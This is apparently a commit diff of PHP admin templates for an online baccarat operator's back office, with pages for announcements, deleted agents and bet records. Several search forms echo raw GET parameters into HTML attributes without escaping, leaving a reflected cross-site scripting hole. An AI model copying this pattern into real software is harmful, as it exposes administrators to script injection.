<th style="text-align: center;">创建时间</th>
<th style="text-align: center;">状态</th>
</tr>
</thead>
<tbody>
{foreach name="memo_list" item="vo"}
<tr>
<td>{$vo.table_name}</td>
<td>{$vo.title}</td>
<td>{$vo.url}</td>
<td>{$vo.content}</td>
<td>{$vo.position}</td>
<td>{$vo.remark}</td>
<td>{$vo.create_time}</td>
{if condition="$vo.status == 1"}
<td>正常</span>
</td>
{else}
<td>锁定中</span>
</td>
{/if}
</tr>
{/foreach}
</tbody>
</div>
</body>
</html>
+267
View File
@@ -0,0 +1,267 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">公告列表</a>
<a href="javascript:;" class="list-two" data-id="2">公告添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<!--
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/memo/memo" method="get">
<input type="text" name="title" id="title" placeholder="标题" autocomplete="off" class="layui-input" value="<?php if(isset($get['title'])) {echo $get['title'];} ?>">
<div class="layui-input-block" >
<select name="status" id="status">
<option value="-1" selected>请选择状态</option>
<option value="1" <?php if(isset($get['status']) && $get['status'] == 1) {echo 'selected';} ?>>正常</option>
<option value="2" <?php if(isset($get['status']) && $get['status'] == 2) {echo 'selected';} ?>>锁定</option>
</select>
</div>
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出excel</span>
<span class="layui-btn" id="print">打印</span>
</form>
</div>
-->
<table class="layui-table">
<thead>
<tr>
<!--<th>桌子名称</th>-->
<th>标题</th>
<!--
<th>url链接</th>
<th>内容</th>
<th>备注</th>
<th>显示位置</th>
-->
<th>创建时间</th>
<th>状态</th>
<th>操作</th>
</tr>
</thead>
<tbody>
{foreach name="memo_list" item="vo"}
<tr>
<!--
<td>{$vo.table_name}</td>
-->
<td>{$vo.title}</td>
<!--
<td>{$vo.url}</td>
<td>{$vo.content}</td>
<td>{$vo.remark}</td>
<td>{$vo.position}</td>
-->
<td>{$vo.create_time}</td>
{if condition="$vo.status == 1"}
<td class="td-status">
<span class="layui-btn layui-btn-normal layui-btn-mini">正常</span>
</td>
{else}
<td class="td-status">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">锁定中</span>
</td>
{/if}
<td class="td-manage">
<!--
{if condition="$vo.status == 1"}
<a onclick="member_stop(this,'{$vo.id}')" href="javascript:;" title="锁定">
<span class="layui-btn layui-btn-normal layui-btn-mini">锁定</span>
</a>
{else}
<a onclick="member_stop(this,'{$vo.id}')" href="javascript:;" title="解锁">
<span class="layui-btn layui-btn-normal layui-btn-mini">解锁</span>
</a>
{/if}
-->
<a href="/memo/memo_edit?id={$vo.id}">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">修改</span>
</a>
<a onclick="member_del(this,'{$vo.id}')" href="javascript:;">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">删除</span>
</a>
</td>
</tr>
{/foreach}
</tbody>
</table>
{$memo_list->render()}
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/memo/memo';
if(id == "2") location.href = '/memo/memo_add';
});
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
/*锁定/解锁*/
function member_stop(obj, id) {
layer.confirm('确认要' + $(obj).attr('title') + '吗?', function (index) {
if ($(obj).attr('title') == '锁定') {
// 拼装数据发送后台 锁定 会员
var query = new Object;
query.id = id;
query.type = 1;
query.status = 0;
var result = ajax('/memo/change_status', query);
} else {
// 拼装数据发送后台 解锁 会员
var query = new Object;
query.id = id;
query.type = 1;
query.status = 1;
var result = ajax('/memo/change_status', query);
}
// 判断结果 弹出提示
if (result.code == 1) {
layer.msg(result.msg, {icon: 1, time: 1500});
setInterval(function () {
location.reload();
}, 1500);
} else {
layer.msg(result.msg, {icon: 2, time: 1500});
}
});
}
/*用户-删除*/
function member_del(obj, id) {
layer.confirm('确认要删除吗?',function () {
// 数据验证
if(id <= 0){
layer.msg('删除用户出错!');
return false;
}
// 拼装数据
var query = new Object;
query.id = id;
query.type = 1;
// 发送数据到后台删除会员
var result = ajax('/memo/delete',query);
if(result.code == 1){
layer.msg(result.msg, {icon: 1, time: 1000},function(){
location.reload();
});
}else if(result.code == 0){
layer.msg(result.msg, {icon: 2, time: 1000});
}
});
}
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
$('#print').click(function(){
var qs = getQueryString();
var title = qs["title"];
var status = qs["status"];
if(title == undefined){
title = '';
}
if(status == undefined){
status = '';
}
layer.open({
type: 2,
title:'公告列表打印',
content: '/memo/memo_print?title='+title+'&status='+status,
area: ['95%', '95%']
});
});
function getQueryString() {
var qs = location.search.substr(1), // 获取url中"?"符后的字串
args = {}, // 保存参数数据的对象
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
item = null,
len = items.length;
for(var i = 0; i < len; i++) {
item = items[i].split("=");
var name = decodeURIComponent(item[0]),
value = decodeURIComponent(item[1]);
if(name) {
args[name] = value;
}
}
return args;
}
// 导出excel
$('#export').click(function(){
var title = $('#title').val();
var status = $('#status').val();
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/memo/memo?export=1&&title="+title+"&&status="+status;
layer.close(index);
});
})
</script>
</body>
</html>
+188
View File
@@ -0,0 +1,188 @@
{include file="public/header"}
<style type="text/css">
textarea, input[type="text"], input[type="password"],
.uneditable-input{border: 1px solid #ccc;background-color: #fff;}
textarea{padding:6px}
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; }
.x-nav .refresh{margin-right: 20px; }
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">公告列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">公告添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from form-horizontal">
<!--
<div class="control-group">
<label class="control-label">请选择桌子:</label>
<div class="controls">
<select id="L_tablename" name="L_tablename" type="text" class="required">
<option value="0" selected>请选择桌子</option>
<option value="all" >所有桌子</option>
<option value="all_baccarat" >百家乐桌台</option>
<option value="all_dt" >龙虎桌台</option>
<option value="all" >所有桌子</option>
{foreach name="$table_list" item="vo"}
<option value="{$vo.id}" <?php if(isset($get['table_id']) && $get['table_id'] == $vo['id']) {echo 'selected';} ?>>{$vo.table_name}</option>
{/foreach}
</select>
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
-->
<div class="control-group">
<label class="control-label">公告标题:</label>
<div class="controls">
<input id="L_title" name="L_title" type="text" value maxlength="255" class="required" style="width:500px;">
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<!--
<div class="control-group">
<label class="control-label">链接地址:</label>
<div class="controls">
<input id="L_url" name="L_url" type="text" value maxlength="250" class="required">
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">公告内容:</label>
<div class="controls">
<textarea id="L_content" name="L_content" type="text" value maxlength="250" class="required"></textarea>
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">备注信息:</label>
<div class="controls">
<textarea id="L_remark" name="L_remark" type="text" value maxlength="250" class="required"></textarea>
</div>
</div>
<div class="control-group">
<label class="control-label">请选择公告位置:</label>
<div class="controls">
<select id="L_position" name="L_position" type="text" class="required">
<option value="-1" selected>请选择公告位置</option>
<option value="1">投注页面</option>
<option value="2">现场页面</option>
<option value="3">所有页面</option>
</select>
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
-->
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='submit'>保存</div>
</div>
</div>
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/memo/memo';
if(id == "2") location.href = '/memo/memo_add';
});
//监听提交
$('.submit').click(function (data) {
// 获取和拼装添加代理的数据
var query = new Object();
query.title = $('#L_title').val();
/*
query.table_id = $('#L_tablename').val();
query.url = $('#L_url').val();
query.content = $('#L_content').val();
query.remark = $('#L_remark').val();
query.position = $('#L_position').val();
*/
query.type = 1;
if(query.title.length == 0){
layer.alert("请填写标题!");
return false;
}
// 验证数据
/*
if(query.table_id == -1){
layer.alert("请选择桌子!");
return false;
}
if(query.url.length == 0){
layer.alert("请填写公告链接!");
return false;
}
if(query.content.length == 0){
layer.alert("请填写内容!");
return false;
}
if(query.position == -1){
layer.alert("请选择公告位置!");
return false;
}
*/
// 发送数据到后台添加会员
var result = ajax('/memo/do_memo_add',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/memo/memo";
});
}else{
layer.alert(result.msg,{icon:2});
}
return false;
});
// AJAX函数封装
function ajax(url,query){
var returnData = 0;
$.ajax({
url:url,
data:query,
type:'POST',
dataType:'JSON',
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
+177
View File
@@ -0,0 +1,177 @@
{include file="public/header"}
<style type="text/css">
textarea, input[type="text"], input[type="password"],
.uneditable-input{border: 1px solid #ccc;background-color: #fff;}
textarea{padding:6px}
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; }
.x-nav .refresh{margin-right: 20px; }
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">公告列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">公告修改</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from form-horizontal">
<!--
<div class="control-group">
<label class="control-label">请选择桌子:</label>
<div class="controls">
<select id="L_tablename" name="L_tablename" type="text" class="required" disabled>
<option value="{$table.id}" selected>{$table.table_name}</option>
</select>
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
-->
<div class="control-group">
<label class="control-label">公告标题:</label>
<div class="controls">
<input id="L_title" name="L_title" type="text" value="{$memo.title}" maxlength="250" class="required" style="width:500px;">
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<!--
<div class="control-group">
<label class="control-label">链接地址:</label>
<div class="controls">
<input id="L_url" name="L_url" type="text" value="{$memo.url}" maxlength="250" class="required">
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">公告内容:</label>
<div class="controls">
<textarea id="L_content" name="L_content" type="text" value maxlength="250" class="required">{$memo.content}</textarea>
</div>
</div>
<div class="control-group">
<label class="control-label">备注信息:</label>
<div class="controls">
<textarea id="L_remark" name="L_remark" type="text" value maxlength="250" class="required">{$memo.remark}</textarea>
</div>
</div>
<div class="control-group">
<label class="control-label">请选择公告位置:</label>
<div class="controls">
<select id="L_position" name="L_position" type="text" class="required">
<option value="-1" selected>请选择公告位置</option>
<option value="1" <?php if($memo['position'] == 1) echo 'selected="selected"'; ?>>投注页面</option>
<option value="2" <?php if($memo['position'] == 2) echo 'selected="selected"'; ?>>现场页面</option>
<option value="3" <?php if($memo['position'] == 3) echo 'selected="selected"'; ?>>所有页面</option>
</select>
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
-->
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='submit'>保存</div>
</div>
</div>
</div>
<!-- 隐藏参数 -->
<input type="hidden" id="memo_id" value="{$memo.id}">
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/memo/memo';
if(id == "2") location.href = '/memo/memo_edit';
});
//监听提交
$('.submit').click(function (data) {
// 获取和拼装添加代理的数据
var query = new Object();
query.id = $('#memo_id').val();
query.title = $('#L_title').val();
/*
query.url = $('#L_url').val();
query.content = $('#L_content').val();
query.remark = $('#L_remark').val();
query.position = $('#L_position').val();
*/
query.type = 1;
// 验证数据
if(query.title.length == 0){
layer.alert("请填写标题!");
return false;
}
/*
if(query.url.length <= 0){
layer.alert("请填写链接地址!");
return false;
}
if(query.content.length <= 0){
layer.alert("请填写内容!");
return false;
}
if(query.position == -1){
layer.alert("请选择公告位置!");
return false;
}
*/
// 发送数据到后台添加会员
var result = ajax('/memo/do_memo_edit',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/memo/memo";
});
}else{
layer.alert(result.msg,{icon:2});
}
return false;
});
// AJAX函数封装
function ajax(url,query){
var returnData = 0;
$.ajax({
url:url,
data:query,
type:'POST',
dataType:'JSON',
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
@@ -0,0 +1,42 @@
{include file="public/header"}
<body>
<div class="x-body">
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
<table class="layui-table">
<div style="text-align: center;font-size: 18px;font-weight:bold;">公告列表</div>
<thead>
<tr>
<th style="text-align: center;">桌子名称</th>
<th style="text-align: center;">标题</th>
<th style="text-align: center;">url链接</th>
<th style="text-align: center;">内容</th>
<th style="text-align: center;">备注</th>
<th style="text-align: center;">显示位置</th>
<th style="text-align: center;">创建时间</th>
<th style="text-align: center;">状态</th>
</tr>
</thead>
<tbody>
{foreach name="memo_list" item="vo"}
<tr>
<td>{$vo.table_name}</td>
<td>{$vo.title}</td>
<td>{$vo.url}</td>
<td>{$vo.content}</td>
<td>{$vo.position}</td>
<td>{$vo.remark}</td>
<td>{$vo.create_time}</td>
{if condition="$vo.status == 1"}
<td>正常</span>
</td>
{else}
<td>锁定中</span>
</td>
{/if}
</tr>
{/foreach}
</tbody>
</div>
</body>
</html>
@@ -0,0 +1,180 @@
{include file="public/header"}
<body>
<div class="x-nav">
<span class="layui-breadcrumb">
<a href="javascript:;">首页</a>
<a href="javascript:;">代理管理</a>
<a><cite>已删除代理</cite></a>
</span>
<a class="layui-btn layui-btn-small" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so" action="/agent/agent_delete" method="get">
<input class="layui-input" placeholder="开始日" name="start" id="start" value="<?php if(isset($get['start'])) {echo $get['start'];} ?>">
<input class="layui-input" placeholder="截止日" name="end" id="end" value="<?php if(isset($get['end'])) {echo $get['end'];} ?>">
<input type="text" name="nickname" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['nickname'])) {echo $get['nickname'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
</form>
</div>
<xblock>
<button class="layui-btn layui-btn-danger" onclick="recoverAll()"><i class="layui-icon"></i>批量恢复</button>
<!--<button class="layui-btn" onclick="x_admin_show('添加会员','/member/member_add',800,600)"><i-->
<!--class="layui-icon"></i>添加-->
<!--</button>-->
<!--<span class="x-right" style="line-height:40px">共有数据:{$user_del_sum} 条</span>-->
</xblock>
<table class="layui-table">
<thead>
<tr>
<th>
<div class="layui-unselect header layui-form-checkbox" lay-skin="primary"><i class="layui-icon">
&#xe605;</i></div>
</th>
<th>ID</th>
<th>账号</th>
<th>用户名</th>
<th>上级代理</th>
<th>最近上分</th>
<th>商户余额</th>
<th>洗码率(%)</th>
<th>占成(%)</th>
<th>创建日期</th>
<th>操作</th>
</tr>
</thead>
<tbody>
{foreach name="user_del_list" item="vo"}
<tr>
<td>
<div class="layui-unselect layui-form-checkbox delete-id" lay-skin="primary" user-id='{$vo.id}'><i class="layui-icon">&#xe605;</i></div>
</td>
<td>{$vo.id}</td>
<td>{$vo.username}</td>
<td>{$vo.nickname}</td>
{if condition="$vo.agent_parent_id > 0"}
<td>{$vo.agent_parent_username}({$vo.agent_parent_nickname})</td>
{else}
<td>无</td>
{/if}
<td>{$vo.last_recharge}</td>
<td>{$vo.money}</td>
<td>{$vo.agent_ximalv}</td>
<td>{$vo.agent_cs}</td>
<td>{$vo.reg_time}</td>
<td class="td-manage">
<a onclick="agent_recover(this,'{$vo.id}')" href="javascript:;">
恢复
</a>
</td>
</tr>
{/foreach}
</tbody>
</table>
{$user_del_list->render()}
<!--<div class="page">-->
<!--<div>-->
<!--<a class="prev" href="">&lt;&lt;</a>-->
<!--<a class="num" href="">1</a>-->
<!--<span class="current">2</span>-->
<!--<a class="num" href="">3</a>-->
<!--<a class="num" href="">489</a>-->
<!--<a class="next" href="">&gt;&gt;</a>-->
<!--</div>-->
<!--</div>-->
</div>
<script>
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
/*用户-删除*/
function agent_recover(obj, id) {
layer.confirm('确认要恢复吗?',function () {
// 数据验证
if(id <= 0){
layer.msg('恢复用户出错!');
return false;
}
// 拼装数据
var query = new Object;
query.user_id = id;
// 发送数据到后台删除会员
var result = ajax('/agent/agent_recover',query);
if(result.code == 1){
layer.msg(result.msg, {icon: 1, time: 1000},function(){
location.reload();
});
}else if(result.code == 0){
layer.msg(result.msg, {icon: 2, time: 1000});
}
});
}
/* 删除多个会员 */
function recoverAll() {
layer.confirm('确认要恢复吗?', function () {
var user_ids = new Array;
$('.delete-id').each(function(){
if($(this).hasClass('layui-form-checked')){
user_ids.push($(this).attr('user-id'));
}
});
// 发送数据给后台进行删除
var query = new Object;
query.user_ids = JSON.stringify(user_ids);
var result = ajax('/agent/agent_recover_more',query);
if(result.code == 1){
layer.msg(result.msg, {icon: 1,time:1000},function(){
location.reload();
});
}else if(result.code == 0){
layer.msg(result.msg,{icon:2});
}
});
}
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
@@ -0,0 +1,185 @@
{include file="public/header"}
<body>
<style type="text/css">
textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.x-body .layui-form .layui-input-block{display:inline-block; width:150px; margin-left:0; }
.x-so input.layui-input{width: 150px;}.layui-input{border: 1px solid #ccc;}
.x-so{ margin-bottom:0;background:#f5f5f5;padding:15px 0; border-radius:10px;}
.x-body .layui-row{margin-top:-25px;}
</style>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="baccarat_list actived" data-id="1">百家乐游戏记录</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/player/baccarat_record" method="get">
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) echo $get['startDate']; ?>">
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) echo $get['endDate']; ?>">
<div class="layui-input-block" id="search_table_name">
<select name="table_id" lay-filter="table_name" lay-search>
<option value="" selected>桌台</option>
{volist name="table_list" id="vo"}
<option value="{$vo.id}" <?php if( isset($get['table_id']) && $get['table_id'] == $vo['id']) echo 'selected="selected"'; ?> >{$vo.table_name}</option>
{/volist}
</select>
</div>
<input class="layui-input" placeholder="账号" name="username" value="<?php if(isset($get['username'])) echo $get['username']; ?>" lay-key="">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出excel</span>
<!-- <span class="layui-btn" id="print">打印</span> -->
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>玩家账号</th>
<th>代理</th>
<th>游戏桌台</th>
<th>局号</th>
<th>结果</th>
<th>庄下注额</th>
<th>闲下注额</th>
<th>和下注额</th>
<th>庄对下注额</th>
<th>闲对下注额</th>
<th>输赢</th>
<th>可洗码值</th>
<th>下注时间</th>
</tr>
</thead>
<tbody>
{if $isData eq true}
{foreach name="baccarat_list" item="vo"}
<tr>
<td>{$vo.user_nickname}</td>
<td>{$vo.agent_parent_username}</td>
<td>{$vo.table_name}</td>
<td>{$vo.record_num}</td>
<td>{$vo.result}{$vo.pair}</td>
<td>{$vo.banker_amount}</td>
<td>{$vo.player_amount}</td>
<td>{$vo.tie_amount}</td>
<td>{$vo.banker_pair_amount}</td>
<td>{$vo.player_pair_amount}</td>
<td>{$vo.win_total}</td>
<td>{if $vo.maliang neq ''}{$vo.maliang}{else}0.00{/if}</td>
<td>{$vo.create_time}</td>
</tr>
{/foreach}
{else}
<tr>
<td colspan="13" style="text-align: center;">当日暂无数据</td>
</tr>
{/if}
</tbody>
</table>
{$baccarat_list->render()}
</div>
<script type="text/javascript">
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/player/baccarat_record';
});
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
// 打印数据
$('#print').click(function(){
var qs = getQueryString();
var startDate = qs["startDate"];
var endDate = qs["endDate"];
var table_id = qs["table_id"];
var username = qs["username"];
if(startDate == undefined){
startDate = '';
}
if(endDate == undefined){
endDate = '';
}
if(table_id == undefined){
table_id = '';
}
if(username == undefined){
username = '';
}
layer.open({
type: 2,
title: '百家乐游戏记录打印',
content: '/player/baccarat_record_print?startDate='+startDate+'&endDate='+endDate+'&table_id='+table_id+'&username='+username,
area: ['95%', '95%']
});
});
function getQueryString() {
var qs = location.search.substr(1), // 获取url中"?"符后的字串
args = {}, // 保存参数数据的对象
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
item = null,
len = items.length;
for(var i = 0; i < len; i++) {
item = items[i].split("=");
var name = decodeURIComponent(item[0]),
value = decodeURIComponent(item[1]);
if(name) {
args[name] = value;
}
}
return args;
}
// 导出excel
$('#export').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var table_id = $('#table_id').val();
var username = $('#username').val();
if(startDate == undefined){
startDate = '';
}
if(endDate == undefined){
endDate = '';
}
if(table_id == undefined){
table_id = '';
}
if(username == undefined){
username = '';
}
layer.confirm('确定导出 excel 吗?',function(index){
location.href = '/player/baccarat_record?export=1&startDate='+startDate+'&endDate='+endDate+'&table_id='+table_id+'&username='+username;
layer.close(index);
});
})
</script>
</body>
</html>
@@ -0,0 +1,46 @@
{include file="public/header"}
<body>
<div class="x-body">
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
<table class="layui-table">
<div style="text-align: center;font-size: 18px;font-weight:bold;">百家乐游戏记录</div>
<thead>
<tr>
<th style="text-align: center;">玩家账号</th>
<th style="text-align: center;">代理</th>
<th style="text-align: center;">游戏桌台</th>
<th style="text-align: center;">局号</th>
<th style="text-align: center;">结果</th>
<th style="text-align: center;">庄下注额</th>
<th style="text-align: center;">闲下注额</th>
<th style="text-align: center;">和下注额</th>
<th style="text-align: center;">庄对下注额</th>
<th style="text-align: center;">闲对下注额</th>
<th style="text-align: center;">输赢</th>
<th style="text-align: center;">可洗码值</th>
<th style="text-align: center;">下注时间</th>
</tr>
</thead>
<tbody>
{foreach name="baccarat_list" item="vo"}
<tr>
<td>{$vo.user_nickname}</td>
<td>{$vo.agent_parent_username}</td>
<td>{$vo.table_name}</td>
<td>{$vo.record_num}</td>
<td>{$vo.result}{$vo.pair}</td>
<td>{$vo.banker_amount}</td>
<td>{$vo.player_amount}</td>
<td>{$vo.tie_amount}</td>
<td>{$vo.banker_pair_amount}</td>
<td>{$vo.player_pair_amount}</td>
<td>{$vo.win_total}</td>
<td>{$vo.maliang}</td>
<td>{$vo.create_time}</td>
</tr>
{/foreach}
</tbody>
</div>
</body>
</html>
@@ -0,0 +1,182 @@
{include file="public/header"}
<body>
<style type="text/css">
textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.x-body .layui-form .layui-input-block{display:inline-block; width:150px; margin-left:0; }
.x-so input.layui-input{width: 150px;}
.layui-input{border: 1px solid #ccc;}
.x-so{ margin-bottom:0;background:#f5f5f5;padding:15px 0; border-radius:10px;}
.x-body .layui-row{margin-top:-25px;}
</style>
